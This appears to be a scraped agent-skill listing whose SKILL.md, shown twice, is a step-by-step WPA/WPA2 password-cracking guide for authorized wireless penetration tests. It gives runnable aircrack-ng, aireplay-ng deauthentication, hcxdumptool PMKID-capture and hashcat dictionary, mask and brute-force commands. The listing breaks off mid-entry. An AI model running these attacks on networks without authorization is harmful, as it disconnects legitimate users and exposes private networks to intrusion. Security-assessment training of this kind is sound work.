[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"skill:01M7E6A9SF1XC0WTTC0JCEJQ51":3,"skill-same:01M7E6A9SF1XC0WTTC0JCEJQ51":84},{"skillNo":4,"name":5,"nameZh":6,"description":7,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":16,"sourceHtmlUrl":17,"categories":18,"keywords":19,"publishedAt":20,"linkOnly":21,"markdownContent":22,"markdownBody":23,"frontMatter":24,"refName":46,"commitSha":47,"skillDirectory":48,"forksCount":49,"repositoryHtmlUrl":50,"repositoryHomepageUrl":6,"ownerHtmlUrl":51,"ownerBlogUrl":6,"ownerDescription":52,"updatedAt":53,"install":54,"resources":67},"01M7E6A9SF1XC0WTTC0JCEJQ51","performing-wifi-password-cracking-with-aircrack",null,"Captures WPA\u002FWPA2 handshakes and performs offline password cracking using aircrack-ng, hashcat, and dictionary attacks during authorized wireless security assessments to evaluate passphrase strength and wireless network security posture.","sanjeevafk\u002Fagent-skills","sanjeevafk","https:\u002F\u002Favatars.githubusercontent.com\u002Fu\u002F230678117?v=4","01M7C540EFY46ETG1NNWKS5X3Q","Sanjeev","01M7C540F366J5C1D587BMKH9Q",0,"Apache-2.0","https:\u002F\u002Fgithub.com\u002Fsanjeevafk\u002Fagent-skills\u002Fblob\u002Fmain\u002Fcollections\u002Fcybersecurity-skills\u002Fskills\u002Fperforming-wifi-password-cracking-with-aircrack\u002FLICENSE","https:\u002F\u002Fgithub.com\u002Fsanjeevafk\u002Fagent-skills\u002Fblob\u002Fmain\u002Fcollections\u002Fcybersecurity-skills\u002Fskills\u002Fperforming-wifi-password-cracking-with-aircrack\u002FSKILL.md",[],[],"2026-11-15 14:19:17",false,"---\nname: performing-wifi-password-cracking-with-aircrack\ndescription: 'Captures WPA\u002FWPA2 handshakes and performs offline password cracking\n  using aircrack-ng, hashcat, and dictionary attacks during authorized wireless security\n  assessments to evaluate passphrase strength and wireless network security posture.\n\n  '\ndomain: cybersecurity\nsubdomain: network-security\ntags:\n- network-security\n- wifi\n- aircrack-ng\n- wpa2\n- wireless-security\nversion: '1.0'\nauthor: mahipal\nlicense: Apache-2.0\nnist_csf:\n- PR.IR-01\n- DE.CM-01\n- ID.AM-03\n- PR.DS-02\nmitre_attack:\n- T1046\n- T1040\n- T1557\n- T1071\n- T1591\n---\n# Performing WiFi Password Cracking with Aircrack-ng\n\n## When to Use\n\n- Assessing the strength of WPA\u002FWPA2\u002FWPA3 passphrases during authorized wireless penetration tests\n- Testing whether wireless networks are using weak or default passwords that can be cracked offline\n- Capturing and analyzing 4-way handshakes to evaluate wireless authentication security\n- Demonstrating the risks of WEP, weak WPA2 passphrases, and PMKID-based attacks to stakeholders\n- Validating that enterprise wireless networks use 802.1X\u002FEAP instead of pre-shared keys\n\n**Do not use** against wireless networks without explicit written authorization, for disrupting wireless communications, or for capturing handshakes of networks you do not have permission to test.\n\n## Prerequisites\n\n- Written authorization specifying in-scope SSIDs and wireless networks\n- Wireless adapter with monitor mode and packet injection support (Alfa AWUS036ACH, Alfa AWUS036ACM, or similar)\n- Kali Linux with aircrack-ng suite, hashcat, and hcxtools installed\n- Password wordlists (rockyou.txt, SecLists, or custom organization-specific lists)\n- GPU-capable system for hashcat acceleration (optional but recommended for large wordlists)\n\n## Workflow\n\n### Step 1: Prepare the Wireless Interface\n\n```bash\n# Identify wireless interfaces\niwconfig\n# or\niw dev\n\n# Kill interfering processes\nsudo airmon-ng check kill\n\n# Enable monitor mode\nsudo airmon-ng start wlan0\n# Output: monitor mode enabled on wlan0mon\n\n# Verify monitor mode\niwconfig wlan0mon\n# Mode should show \"Monitor\"\n\n# Alternatively, enable monitor mode manually\nsudo ip link set wlan0 down\nsudo iw dev wlan0 set type monitor\nsudo ip link set wlan0 up\n```\n\n### Step 2: Scan for Target Networks\n\n```bash\n# Scan all channels for access points\nsudo airodump-ng wlan0mon\n\n# Output columns:\n# BSSID          PWR  Beacons  #Data  CH  ENC   CIPHER  AUTH  ESSID\n# AA:BB:CC:DD:EE:FF  -45    120    35   6  WPA2  CCMP    PSK   TargetNetwork\n\n# Identify the target network parameters:\n# - BSSID (MAC address of the access point)\n# - Channel number\n# - Encryption type (WPA2-PSK is the target)\n# - Connected clients (in the lower section)\n\n# Focus scanning on the target channel\nsudo airodump-ng wlan0mon --channel 6 --bssid AA:BB:CC:DD:EE:FF -w capture\n```\n\n### Step 3: Capture the WPA2 4-Way Handshake\n\n```bash\n# Method 1: Wait for a client to connect naturally\n# Keep airodump-ng running and wait for \"WPA handshake: AA:BB:CC:DD:EE:FF\" message\nsudo airodump-ng wlan0mon --channel 6 --bssid AA:BB:CC:DD:EE:FF -w handshake_capture\n\n# Method 2: Deauthenticate a client to force reconnection (active)\n# In a separate terminal, send deauth packets to a specific client\nsudo aireplay-ng --deauth 5 -a AA:BB:CC:DD:EE:FF -c 11:22:33:44:55:66 wlan0mon\n\n# Or deauth all clients (broadcast)\nsudo aireplay-ng --deauth 10 -a AA:BB:CC:DD:EE:FF wlan0mon\n\n# Method 3: Capture PMKID from the AP (no client needed)\n# Using hcxdumptool\nsudo hcxdumptool -i wlan0mon --enable_status=1 -o pmkid_capture.pcapng \\\n  --filterlist_ap=AA:BB:CC:DD:EE:FF --filtermode=2\n\n# Wait for \"PMKID\" message, then convert for hashcat\nhcxpcapngtool -o pmkid_hash.hc22000 pmkid_capture.pcapng\n\n# Verify handshake was captured\naircrack-ng handshake_capture-01.cap\n# Should show: \"1 handshake\" next to the target BSSID\n\n# Alternative verification with cowpatty\ncowpatty -r handshake_capture-01.cap -c\n```\n\n### Step 4: Crack with Aircrack-ng (CPU-based)\n\n```bash\n# Crack using rockyou wordlist\naircrack-ng -w \u002Fusr\u002Fshare\u002Fwordlists\u002Frockyou.txt -b AA:BB:CC:DD:EE:FF handshake_capture-01.cap\n\n# Use multiple wordlists\naircrack-ng -w \u002Fusr\u002Fshare\u002Fwordlists\u002Frockyou.txt,\u002Fusr\u002Fshare\u002Fseclists\u002FPasswords\u002FCommon-Credentials\u002F10-million-password-list-top-1000000.txt \\\n  -b AA:BB:CC:DD:EE:FF handshake_capture-01.cap\n\n# Crack with a specific ESSID\naircrack-ng -w \u002Fusr\u002Fshare\u002Fwordlists\u002Frockyou.txt -e \"TargetNetwork\" handshake_capture-01.cap\n\n# If successful, output shows:\n# KEY FOUND! [ password123 ]\n```\n\n### Step 5: Crack with Hashcat (GPU-accelerated)\n\n```bash\n# Convert capture to hashcat format\n# For handshake captures:\nhcxpcapngtool -o hashcat_input.hc22000 handshake_capture-01.cap\n\n# Or use aircrack-ng conversion\naircrack-ng handshake_capture-01.cap -j hashcat_input\n\n# Dictionary attack with hashcat\nhashcat -m 22000 hashcat_input.hc22000 \u002Fusr\u002Fshare\u002Fwordlists\u002Frockyou.txt\n\n# Rule-based attack (transforms dictionary words)\nhashcat -m 22000 hashcat_input.hc22000 \u002Fusr\u002Fshare\u002Fwordlists\u002Frockyou.txt -r \u002Fusr\u002Fshare\u002Fhashcat\u002Frules\u002Fbest64.rule\n\n# Brute force 8-character numeric passwords\nhashcat -m 22000 hashcat_input.hc22000 -a 3 ?d?d?d?d?d?d?d?d\n\n# Combination attack (two wordlists combined)\nhashcat -m 22000 hashcat_input.hc22000 -a 1 wordlist1.txt wordlist2.txt\n\n# Mask attack for common patterns (Word + 4 digits)\nhashcat -m 22000 hashcat_input.hc22000 -a 3 -1 ?l?u ?1?1?1?1?1?d?d?d?d\n\n# For PMKID-specific hashes\nhashcat -m 22000 pmkid_hash.hc22000 \u002Fusr\u002Fshare\u002Fwordlists\u002Frockyou.txt\n\n# Show cracked password\nhashcat -m 22000 hashcat_input.hc22000 --show\n```\n\n### Step 6: Document and Clean Up\n\n```bash\n# Stop monitor mode\nsudo airmon-ng stop wlan0mon\n\n# Restart networking services\nsudo systemctl restart NetworkManager\n\n# Generate report\ncat > wifi_assessment_report.txt \u003C\u003C 'EOF'\nWiFi Security Assessment Results\n=================================\nTarget SSID: TargetNetwork\nBSSID: AA:BB:CC:DD:EE:FF\nEncryption: WPA2-PSK (CCMP)\nChannel: 6\n\nHandshake Capture: Successful (Method: Client deauthentication)\nCracking Result: PASSWORD FOUND\nPassword: [documented securely]\nTime to Crack: 3 minutes 47 seconds (rockyou.txt, hashcat GPU)\n\nRecommendation: Change to a passphrase of 15+ characters with mixed case,\nnumbers, and symbols, or migrate to WPA2\u002FWPA3-Enterprise with 802.1X.\nEOF\n\n# Securely handle capture files (contain sensitive authentication material)\nsha256sum handshake_capture-01.cap > evidence_hashes.txt\n# Transfer to secure evidence storage per engagement agreement\n```\n\n## Key Concepts\n\n| Term | Definition |\n|------|------------|\n| **4-Way Handshake** | WPA\u002FWPA2 authentication exchange between client and AP that derives session keys from the PSK, captured for offline password cracking |\n| **PMKID** | Pairwise Master Key Identifier included in the first EAPOL frame from the AP, allowing password cracking without capturing the full handshake or requiring a connected client |\n| **Monitor Mode** | Wireless interface mode that captures all wireless frames on a channel without associating with any access point |\n| **Deauthentication Attack** | Sending forged 802.11 management frames to disconnect a client from the AP, forcing a reconnection that generates a capturable handshake |\n| **PSK (Pre-Shared Key)** | Static password used by all users to authenticate to a WPA\u002FWPA2-Personal network, vulnerable to offline dictionary attacks |\n| **802.1X\u002FEAP** | Enterprise wireless authentication using RADIUS that provides per-user credentials, eliminating the shared password vulnerability |\n\n## Tools & Systems\n\n- **aircrack-ng suite**: Comprehensive wireless security toolkit including airodump-ng (capture), aireplay-ng (injection), and aircrack-ng (cracking)\n- **hashcat**: GPU-accelerated password cracker supporting WPA\u002FWPA2 handshakes (mode 22000) with dictionary, rule, and mask attacks\n- **hcxtools**: Tools for capturing PMKID and converting wireless captures to hashcat-compatible formats\n- **hcxdumptool**: Capture tool specifically designed for PMKID extraction without requiring client deauthentication\n- **cowpatty**: WPA\u002FWPA2 cracking tool with precomputed hash table support for faster dictionary attacks\n\n## Common Scenarios\n\n### Scenario: Wireless Penetration Test for a Corporate Office\n\n**Context**: A financial services company wants to assess the security of their wireless networks. They have three SSIDs: Corp-WiFi (WPA2-Enterprise for employees), Guest-WiFi (WPA2-PSK for visitors), and IoT-WiFi (WPA2-PSK for IoT devices). The assessment is authorized to test all three networks.\n\n**Approach**:\n1. Scan for all three SSIDs and identify their BSSIDs, channels, and encryption types\n2. Verify that Corp-WiFi uses 802.1X\u002FEAP by examining beacon frames -- confirmed, no PSK to crack\n3. Capture the 4-way handshake for Guest-WiFi by deauthenticating a connected device and capturing the reconnection\n4. Run hashcat with rockyou.txt against the Guest-WiFi handshake -- password \"Welcome2024!\" cracked in 47 seconds\n5. Capture PMKID from IoT-WiFi access point (no client deauth needed) and crack with hashcat -- password \"iot12345\" found in 12 seconds\n6. Demonstrate that Guest-WiFi and IoT-WiFi passwords are weak and easily crackable\n7. Recommend migrating Guest-WiFi to a captive portal with per-session passwords and strengthening IoT-WiFi to a 20+ character passphrase\n\n**Pitfalls**:\n- Sending excessive deauth frames that disrupt legitimate wireless users beyond the test scope\n- Not using a wireless adapter that supports the target network's frequency band (2.4 GHz vs 5 GHz)\n- Attempting to crack WPA3-SAE networks with traditional handshake capture (SAE is resistant to offline attacks)\n- Running GPU cracking on shared systems without monitoring temperature and power consumption\n\n## Output Format\n\n```\n## Wireless Security Assessment Report\n\n**Assessment Date**: 2024-03-15\n**Location**: Corporate Office, Building A\n\n### Network Inventory\n\n| SSID | BSSID | Encryption | Auth | Channel | Crackable |\n|------|-------|------------|------|---------|-----------|\n| Corp-WiFi | AA:BB:CC:11:22:33 | WPA2 | 802.1X | 36 | N\u002FA (Enterprise) |\n| Guest-WiFi | AA:BB:CC:44:55:66 | WPA2 | PSK | 6 | YES - 47 seconds |\n| IoT-WiFi | AA:BB:CC:77:88:99 | WPA2 | PSK | 1 | YES - 12 seconds |\n\n### Findings\n\n**Finding 1: Weak Guest-WiFi Password (High)**\n- Password: \"Welcome2024!\" (cracked via dictionary in 47 seconds)\n- Present in rockyou.txt top 100,000 entries\n- Shared among all visitors with no rotation policy\n\n**Finding 2: Trivial IoT-WiFi Password (Critical)**\n- Password: \"iot12345\" (cracked in 12 seconds)\n- Default-pattern password providing access to IoT device network\n- No network segmentation between IoT-WiFi and corporate resources\n\n### Recommendations\n1. Migrate Guest-WiFi to captive portal with per-session credentials\n2. Change IoT-WiFi to 20+ character random passphrase with quarterly rotation\n3. Implement network segmentation isolating IoT VLAN from corporate resources\n4. Consider WPA3-SAE for PSK networks to prevent offline cracking\n5. Enable 802.11w Protected Management Frames to prevent deauth attacks\n```\n","# Performing WiFi Password Cracking with Aircrack-ng\n\n## When to Use\n\n- Assessing the strength of WPA\u002FWPA2\u002FWPA3 passphrases during authorized wireless penetration tests\n- Testing whether wireless networks are using weak or default passwords that can be cracked offline\n- Capturing and analyzing 4-way handshakes to evaluate wireless authentication security\n- Demonstrating the risks of WEP, weak WPA2 passphrases, and PMKID-based attacks to stakeholders\n- Validating that enterprise wireless networks use 802.1X\u002FEAP instead of pre-shared keys\n\n**Do not use** against wireless networks without explicit written authorization, for disrupting wireless communications, or for capturing handshakes of networks you do not have permission to test.\n\n## Prerequisites\n\n- Written authorization specifying in-scope SSIDs and wireless networks\n- Wireless adapter with monitor mode and packet injection support (Alfa AWUS036ACH, Alfa AWUS036ACM, or similar)\n- Kali Linux with aircrack-ng suite, hashcat, and hcxtools installed\n- Password wordlists (rockyou.txt, SecLists, or custom organization-specific lists)\n- GPU-capable system for hashcat acceleration (optional but recommended for large wordlists)\n\n## Workflow\n\n### Step 1: Prepare the Wireless Interface\n\n```bash\n# Identify wireless interfaces\niwconfig\n# or\niw dev\n\n# Kill interfering processes\nsudo airmon-ng check kill\n\n# Enable monitor mode\nsudo airmon-ng start wlan0\n# Output: monitor mode enabled on wlan0mon\n\n# Verify monitor mode\niwconfig wlan0mon\n# Mode should show \"Monitor\"\n\n# Alternatively, enable monitor mode manually\nsudo ip link set wlan0 down\nsudo iw dev wlan0 set type monitor\nsudo ip link set wlan0 up\n```\n\n### Step 2: Scan for Target Networks\n\n```bash\n# Scan all channels for access points\nsudo airodump-ng wlan0mon\n\n# Output columns:\n# BSSID          PWR  Beacons  #Data  CH  ENC   CIPHER  AUTH  ESSID\n# AA:BB:CC:DD:EE:FF  -45    120    35   6  WPA2  CCMP    PSK   TargetNetwork\n\n# Identify the target network parameters:\n# - BSSID (MAC address of the access point)\n# - Channel number\n# - Encryption type (WPA2-PSK is the target)\n# - Connected clients (in the lower section)\n\n# Focus scanning on the target channel\nsudo airodump-ng wlan0mon --channel 6 --bssid AA:BB:CC:DD:EE:FF -w capture\n```\n\n### Step 3: Capture the WPA2 4-Way Handshake\n\n```bash\n# Method 1: Wait for a client to connect naturally\n# Keep airodump-ng running and wait for \"WPA handshake: AA:BB:CC:DD:EE:FF\" message\nsudo airodump-ng wlan0mon --channel 6 --bssid AA:BB:CC:DD:EE:FF -w handshake_capture\n\n# Method 2: Deauthenticate a client to force reconnection (active)\n# In a separate terminal, send deauth packets to a specific client\nsudo aireplay-ng --deauth 5 -a AA:BB:CC:DD:EE:FF -c 11:22:33:44:55:66 wlan0mon\n\n# Or deauth all clients (broadcast)\nsudo aireplay-ng --deauth 10 -a AA:BB:CC:DD:EE:FF wlan0mon\n\n# Method 3: Capture PMKID from the AP (no client needed)\n# Using hcxdumptool\nsudo hcxdumptool -i wlan0mon --enable_status=1 -o pmkid_capture.pcapng \\\n  --filterlist_ap=AA:BB:CC:DD:EE:FF --filtermode=2\n\n# Wait for \"PMKID\" message, then convert for hashcat\nhcxpcapngtool -o pmkid_hash.hc22000 pmkid_capture.pcapng\n\n# Verify handshake was captured\naircrack-ng handshake_capture-01.cap\n# Should show: \"1 handshake\" next to the target BSSID\n\n# Alternative verification with cowpatty\ncowpatty -r handshake_capture-01.cap -c\n```\n\n### Step 4: Crack with Aircrack-ng (CPU-based)\n\n```bash\n# Crack using rockyou wordlist\naircrack-ng -w \u002Fusr\u002Fshare\u002Fwordlists\u002Frockyou.txt -b AA:BB:CC:DD:EE:FF handshake_capture-01.cap\n\n# Use multiple wordlists\naircrack-ng -w \u002Fusr\u002Fshare\u002Fwordlists\u002Frockyou.txt,\u002Fusr\u002Fshare\u002Fseclists\u002FPasswords\u002FCommon-Credentials\u002F10-million-password-list-top-1000000.txt \\\n  -b AA:BB:CC:DD:EE:FF handshake_capture-01.cap\n\n# Crack with a specific ESSID\naircrack-ng -w \u002Fusr\u002Fshare\u002Fwordlists\u002Frockyou.txt -e \"TargetNetwork\" handshake_capture-01.cap\n\n# If successful, output shows:\n# KEY FOUND! [ password123 ]\n```\n\n### Step 5: Crack with Hashcat (GPU-accelerated)\n\n```bash\n# Convert capture to hashcat format\n# For handshake captures:\nhcxpcapngtool -o hashcat_input.hc22000 handshake_capture-01.cap\n\n# Or use aircrack-ng conversion\naircrack-ng handshake_capture-01.cap -j hashcat_input\n\n# Dictionary attack with hashcat\nhashcat -m 22000 hashcat_input.hc22000 \u002Fusr\u002Fshare\u002Fwordlists\u002Frockyou.txt\n\n# Rule-based attack (transforms dictionary words)\nhashcat -m 22000 hashcat_input.hc22000 \u002Fusr\u002Fshare\u002Fwordlists\u002Frockyou.txt -r \u002Fusr\u002Fshare\u002Fhashcat\u002Frules\u002Fbest64.rule\n\n# Brute force 8-character numeric passwords\nhashcat -m 22000 hashcat_input.hc22000 -a 3 ?d?d?d?d?d?d?d?d\n\n# Combination attack (two wordlists combined)\nhashcat -m 22000 hashcat_input.hc22000 -a 1 wordlist1.txt wordlist2.txt\n\n# Mask attack for common patterns (Word + 4 digits)\nhashcat -m 22000 hashcat_input.hc22000 -a 3 -1 ?l?u ?1?1?1?1?1?d?d?d?d\n\n# For PMKID-specific hashes\nhashcat -m 22000 pmkid_hash.hc22000 \u002Fusr\u002Fshare\u002Fwordlists\u002Frockyou.txt\n\n# Show cracked password\nhashcat -m 22000 hashcat_input.hc22000 --show\n```\n\n### Step 6: Document and Clean Up\n\n```bash\n# Stop monitor mode\nsudo airmon-ng stop wlan0mon\n\n# Restart networking services\nsudo systemctl restart NetworkManager\n\n# Generate report\ncat > wifi_assessment_report.txt \u003C\u003C 'EOF'\nWiFi Security Assessment Results\n=================================\nTarget SSID: TargetNetwork\nBSSID: AA:BB:CC:DD:EE:FF\nEncryption: WPA2-PSK (CCMP)\nChannel: 6\n\nHandshake Capture: Successful (Method: Client deauthentication)\nCracking Result: PASSWORD FOUND\nPassword: [documented securely]\nTime to Crack: 3 minutes 47 seconds (rockyou.txt, hashcat GPU)\n\nRecommendation: Change to a passphrase of 15+ characters with mixed case,\nnumbers, and symbols, or migrate to WPA2\u002FWPA3-Enterprise with 802.1X.\nEOF\n\n# Securely handle capture files (contain sensitive authentication material)\nsha256sum handshake_capture-01.cap > evidence_hashes.txt\n# Transfer to secure evidence storage per engagement agreement\n```\n\n## Key Concepts\n\n| Term | Definition |\n|------|------------|\n| **4-Way Handshake** | WPA\u002FWPA2 authentication exchange between client and AP that derives session keys from the PSK, captured for offline password cracking |\n| **PMKID** | Pairwise Master Key Identifier included in the first EAPOL frame from the AP, allowing password cracking without capturing the full handshake or requiring a connected client |\n| **Monitor Mode** | Wireless interface mode that captures all wireless frames on a channel without associating with any access point |\n| **Deauthentication Attack** | Sending forged 802.11 management frames to disconnect a client from the AP, forcing a reconnection that generates a capturable handshake |\n| **PSK (Pre-Shared Key)** | Static password used by all users to authenticate to a WPA\u002FWPA2-Personal network, vulnerable to offline dictionary attacks |\n| **802.1X\u002FEAP** | Enterprise wireless authentication using RADIUS that provides per-user credentials, eliminating the shared password vulnerability |\n\n## Tools & Systems\n\n- **aircrack-ng suite**: Comprehensive wireless security toolkit including airodump-ng (capture), aireplay-ng (injection), and aircrack-ng (cracking)\n- **hashcat**: GPU-accelerated password cracker supporting WPA\u002FWPA2 handshakes (mode 22000) with dictionary, rule, and mask attacks\n- **hcxtools**: Tools for capturing PMKID and converting wireless captures to hashcat-compatible formats\n- **hcxdumptool**: Capture tool specifically designed for PMKID extraction without requiring client deauthentication\n- **cowpatty**: WPA\u002FWPA2 cracking tool with precomputed hash table support for faster dictionary attacks\n\n## Common Scenarios\n\n### Scenario: Wireless Penetration Test for a Corporate Office\n\n**Context**: A financial services company wants to assess the security of their wireless networks. They have three SSIDs: Corp-WiFi (WPA2-Enterprise for employees), Guest-WiFi (WPA2-PSK for visitors), and IoT-WiFi (WPA2-PSK for IoT devices). The assessment is authorized to test all three networks.\n\n**Approach**:\n1. Scan for all three SSIDs and identify their BSSIDs, channels, and encryption types\n2. Verify that Corp-WiFi uses 802.1X\u002FEAP by examining beacon frames -- confirmed, no PSK to crack\n3. Capture the 4-way handshake for Guest-WiFi by deauthenticating a connected device and capturing the reconnection\n4. Run hashcat with rockyou.txt against the Guest-WiFi handshake -- password \"Welcome2024!\" cracked in 47 seconds\n5. Capture PMKID from IoT-WiFi access point (no client deauth needed) and crack with hashcat -- password \"iot12345\" found in 12 seconds\n6. Demonstrate that Guest-WiFi and IoT-WiFi passwords are weak and easily crackable\n7. Recommend migrating Guest-WiFi to a captive portal with per-session passwords and strengthening IoT-WiFi to a 20+ character passphrase\n\n**Pitfalls**:\n- Sending excessive deauth frames that disrupt legitimate wireless users beyond the test scope\n- Not using a wireless adapter that supports the target network's frequency band (2.4 GHz vs 5 GHz)\n- Attempting to crack WPA3-SAE networks with traditional handshake capture (SAE is resistant to offline attacks)\n- Running GPU cracking on shared systems without monitoring temperature and power consumption\n\n## Output Format\n\n```\n## Wireless Security Assessment Report\n\n**Assessment Date**: 2024-03-15\n**Location**: Corporate Office, Building A\n\n### Network Inventory\n\n| SSID | BSSID | Encryption | Auth | Channel | Crackable |\n|------|-------|------------|------|---------|-----------|\n| Corp-WiFi | AA:BB:CC:11:22:33 | WPA2 | 802.1X | 36 | N\u002FA (Enterprise) |\n| Guest-WiFi | AA:BB:CC:44:55:66 | WPA2 | PSK | 6 | YES - 47 seconds |\n| IoT-WiFi | AA:BB:CC:77:88:99 | WPA2 | PSK | 1 | YES - 12 seconds |\n\n### Findings\n\n**Finding 1: Weak Guest-WiFi Password (High)**\n- Password: \"Welcome2024!\" (cracked via dictionary in 47 seconds)\n- Present in rockyou.txt top 100,000 entries\n- Shared among all visitors with no rotation policy\n\n**Finding 2: Trivial IoT-WiFi Password (Critical)**\n- Password: \"iot12345\" (cracked in 12 seconds)\n- Default-pattern password providing access to IoT device network\n- No network segmentation between IoT-WiFi and corporate resources\n\n### Recommendations\n1. Migrate Guest-WiFi to captive portal with per-session credentials\n2. Change IoT-WiFi to 20+ character random passphrase with quarterly rotation\n3. Implement network segmentation isolating IoT VLAN from corporate resources\n4. Consider WPA3-SAE for PSK networks to prevent offline cracking\n5. Enable 802.11w Protected Management Frames to prevent deauth attacks\n```\n",{"name":5,"tags":25,"author":31,"domain":32,"license":15,"version":33,"nist_csf":34,"subdomain":26,"description":39,"mitre_attack":40},[26,27,28,29,30],"network-security","wifi","aircrack-ng","wpa2","wireless-security","mahipal","cybersecurity","1.0",[35,36,37,38],"PR.IR-01","DE.CM-01","ID.AM-03","PR.DS-02","Captures WPA\u002FWPA2 handshakes and performs offline password cracking using aircrack-ng, hashcat, and dictionary attacks during authorized wireless security assessments to evaluate passphrase strength and wireless network security posture.\n",[41,42,43,44,45],"T1046","T1040","T1557","T1071","T1591","main","4e084e84eb42fc53e144c89c0f7f48b39c8a4b0f","collections\u002Fcybersecurity-skills\u002Fskills\u002Fperforming-wifi-password-cracking-with-aircrack",1,"https:\u002F\u002Fgithub.com\u002Fsanjeevafk\u002Fagent-skills","https:\u002F\u002Fgithub.com\u002Fsanjeevafk","First make it work. Then make it right. Then make it fast.","2026-11-14 13:36:16",{"source":8,"skillName":5,"commands":55,"prompt":65,"zipAvailable":66},[56,59,62],{"tool":57,"command":58},"npx","npx skills add sanjeevafk\u002Fagent-skills --skill performing-wifi-password-cracking-with-aircrack",{"tool":60,"command":61},"bunx","bunx skills add sanjeevafk\u002Fagent-skills --skill performing-wifi-password-cracking-with-aircrack",{"tool":63,"command":64},"pnpm","pnpm dlx skills add sanjeevafk\u002Fagent-skills --skill performing-wifi-password-cracking-with-aircrack","安装技能，技能地址：https:\u002F\u002Fgithub.com\u002Fsanjeevafk\u002Fagent-skills\u002Fblob\u002Fmain\u002Fcollections\u002Fcybersecurity-skills\u002Fskills\u002Fperforming-wifi-password-cracking-with-aircrack\u002FSKILL.md",true,[68,72,78],{"path":69,"resourceType":69,"resourceTypeDesc":70,"sizeBytes":71,"sourceHtmlUrl":16},"LICENSE","许可证",11255,{"path":73,"resourceType":74,"resourceTypeDesc":75,"sizeBytes":76,"sourceHtmlUrl":77},"references\u002Fapi-reference.md","REFERENCE","参考文档",2327,"https:\u002F\u002Fgithub.com\u002Fsanjeevafk\u002Fagent-skills\u002Fblob\u002Fmain\u002Fcollections\u002Fcybersecurity-skills\u002Fskills\u002Fperforming-wifi-password-cracking-with-aircrack\u002Freferences\u002Fapi-reference.md",{"path":79,"resourceType":80,"resourceTypeDesc":81,"sizeBytes":82,"sourceHtmlUrl":83},"scripts\u002Fagent.py","SCRIPT","脚本",7820,"https:\u002F\u002Fgithub.com\u002Fsanjeevafk\u002Fagent-skills\u002Fblob\u002Fmain\u002Fcollections\u002Fcybersecurity-skills\u002Fskills\u002Fperforming-wifi-password-cracking-with-aircrack\u002Fscripts\u002Fagent.py",[85,93,101,109,117,124],{"skillNo":86,"name":87,"nameZh":6,"description":88,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":89,"licenseFileUrl":6,"sourceHtmlUrl":90,"categories":91,"keywords":92,"publishedAt":20},"01M7EFHX67M3KKXT1BXVPA5ADT","zarr-python","Chunked N-D arrays for cloud storage (Zarr-Python 3). Compressed arrays, parallel I\u002FO, S3\u002FGCS via fsspec, NumPy\u002FDask\u002FXarray compatible, for large-scale scientific computing pipelines.","MIT","https:\u002F\u002Fgithub.com\u002Fsanjeevafk\u002Fagent-skills\u002Fblob\u002Fmain\u002Fskills\u002Fzarr-python\u002FSKILL.md",[],[],{"skillNo":94,"name":95,"nameZh":6,"description":96,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":89,"licenseFileUrl":97,"sourceHtmlUrl":98,"categories":99,"keywords":100,"publishedAt":20},"01M7EFFQGM51TZBGRENXY50ZYM","whiteboard-diagrams","Create accurate, simple, hand-drawn whiteboard diagrams from a user's process, system, architecture, learning workflow, comparison, or causal explanation. Use when the user asks for a scribbly whiteboard visual, educational workflow graphic, hand-drawn explainer, or diagram like the bundled reference; ask one focused clarification question when the subject or relationships are missing, then generate and visually verify the final image.","https:\u002F\u002Fgithub.com\u002Fsanjeevafk\u002Fagent-skills\u002Fblob\u002Fmain\u002Fskills\u002Fwhiteboard-diagrams\u002FLICENSE","https:\u002F\u002Fgithub.com\u002Fsanjeevafk\u002Fagent-skills\u002Fblob\u002Fmain\u002Fskills\u002Fwhiteboard-diagrams\u002FSKILL.md",[],[],{"skillNo":102,"name":103,"nameZh":6,"description":104,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":105,"sourceHtmlUrl":106,"categories":107,"keywords":108,"publishedAt":20},"01M7EFF1CSQNTDMHFK4ZGY6NYK","webapp-testing","Toolkit for interacting with and testing local web applications using Playwright. Supports verifying frontend functionality, debugging UI behavior, capturing browser screenshots, and viewing browser logs.","https:\u002F\u002Fgithub.com\u002Fsanjeevafk\u002Fagent-skills\u002Fblob\u002Fmain\u002Fskills\u002Fwebapp-testing\u002FLICENSE.txt","https:\u002F\u002Fgithub.com\u002Fsanjeevafk\u002Fagent-skills\u002Fblob\u002Fmain\u002Fskills\u002Fwebapp-testing\u002FSKILL.md",[],[],{"skillNo":110,"name":111,"nameZh":6,"description":112,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":113,"sourceHtmlUrl":114,"categories":115,"keywords":116,"publishedAt":20},"01M7EFE8106X6C28FT8PA74427","web-artifacts-builder","Suite of tools for creating elaborate, multi-component claude.ai HTML artifacts using modern frontend web technologies (React, Tailwind CSS, shadcn\u002Fui). Use for complex artifacts requiring state management, routing, or shadcn\u002Fui components - not for simple single-file HTML\u002FJSX artifacts.","https:\u002F\u002Fgithub.com\u002Fsanjeevafk\u002Fagent-skills\u002Fblob\u002Fmain\u002Fskills\u002Fweb-artifacts-builder\u002FLICENSE.txt","https:\u002F\u002Fgithub.com\u002Fsanjeevafk\u002Fagent-skills\u002Fblob\u002Fmain\u002Fskills\u002Fweb-artifacts-builder\u002FSKILL.md",[],[],{"skillNo":118,"name":119,"nameZh":6,"description":120,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":89,"licenseFileUrl":6,"sourceHtmlUrl":121,"categories":122,"keywords":123,"publishedAt":20},"01M7EFCSNZM9G7ZHS6F127Q71X","verification-loop","A comprehensive verification system for Claude Code 